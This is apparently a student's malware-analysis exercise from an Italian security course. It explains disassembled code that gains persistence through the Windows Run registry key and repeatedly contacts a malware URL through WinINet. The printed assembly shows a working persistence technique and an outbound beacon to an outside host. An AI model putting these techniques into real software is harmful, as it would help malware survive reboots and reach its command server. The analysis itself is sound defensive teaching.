ESERCIZIO GIORNALIERO

INTRO E CONCETTI DI WINDOWS AVANZATI

EPICODE

Giovanni Pisapia

1. PERSISTENZA MALWARE

La funzione RegOpenKeyEx è una chiamata all'API di Windows utilizzata per aprire una chiave nel Registro di sistema. Essa consente di accedere alle sottocartelle e ai valori all'interno del Registro di sistema di Windows.

La funzione RegSetValueExW è una chiamata all'API di Windows utilizzata per impostare il valore di una chiave nel Registro di sistema. Il malware sfrutta la funzione RegSetValueExW per modificare le chiavi di registro in modo da ottenere persistenza nel sistema o per alterare le impostazioni esistenti.

Traccia:

```
00402871   push    eax             ; ulOptions
00402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE ; hKey
0040287C   call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
00402880   jnz     short loc_4028C5
00402882
00402882 loc_402882:
00402882   lea     ecx, [esp+424h+Data]
00402886   push    ecx             ; lpString
00402887   mov     bl, 1
00402889   call    ds:lstrlenW
0040288F   lea     edx, [eax+eax+2]
00402893   push    edx             ; cbData
00402894   mov     edx, [esp+428h+hKey]
00402898   lea     eax, [esp+428h+Data]
0040289C   push    eax             ; lpData
0040289D   push    1               ; dwType
0040289F   push    0               ; Reserved
004028A1   lea     ecx, [esp+434h+ValueName]
004028A8   push    ecx             ; lpValueName
004028A9   push    edx             ; hKey
004028AA   call    ds:RegSetValueExW
```

Chiavi di registro più comuni per creare persistenza di un malware

2. Identificare client,url malware

La funzione **InternetOpenA** viene chiamata tramite **call ds:InternetOpenA**, che indica l'utilizzo del client **WinINet** di Windows per la connessione a Internet. Questa funzione è parte della libreria di **WinINet** e viene spesso utilizzata per aprire una sessione di connessione a Internet.

L'istruzione **push offset szUrl; http//www.malware12.com** indica che il malware sta passando l'indirizzo dell'URL **http//www.malware12.com** come parametro per la chiamata successiva alla funzione **InternetOpenUrlA**. Quindi, il malware sta cercando di connettersi a quell'URL specifico.

Traccia:

```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

5

1. Le istruzioni push esi e push edi inseriscono i contenuti dei registri esi e edi nello stack.
2. Le istruzioni push 0 inseriscono il valore zero nello stack per i parametri dwFlags, lpszProxyBypass e lpszProxy. Questo indica che vengono passati valori predefiniti o vuoti per quei parametri.
3. L'istruzione push 1 inserisce il valore 1 nello stack per il parametro dwAccessType. Questo valore potrebbe rappresentare il tipo di accesso richiesto per la risorsa Internet.
4. L'istruzione push offset szAgent inserisce l'offset di memoria di una stringa denominata "szAgent" nello stack. Questo potrebbe rappresentare l'agente utente o il nome dell'applicazione che viene utilizzato nella richiesta HTTP.
5. La chiamata call ds:InternetOpenA esegue una chiamata alla funzione InternetOpenA per aprire una connessione Internet e restituisce L'HANDLE della connessione nella registra eax. L'handle viene successivamente copiato nel registro esi con l'istruzione mov esi, eax.
6. Le istruzioni successive, come push 0, push 80000000h, push 0, ecc., preparano i parametri per la chiamata alla funzione InternetOpenUrlA, che viene eseguita con l'istruzione call edi. Questa funzione viene utilizzata per aprire l'URL specificato e scaricare la risorsa associata.
7. L'istruzione jmp short loc_40116D consente di tornare alla posizione loc_40116D e ripetere il ciclo, potenzialmente per scaricare altre risorse o eseguire altre operazioni correlate.

3. LEA

Nel codice assembly l'istruzione "lea" viene utilizzata per trovare l'indirizzo di una variabile o un'area di memoria specifica e caricarlo in un registro.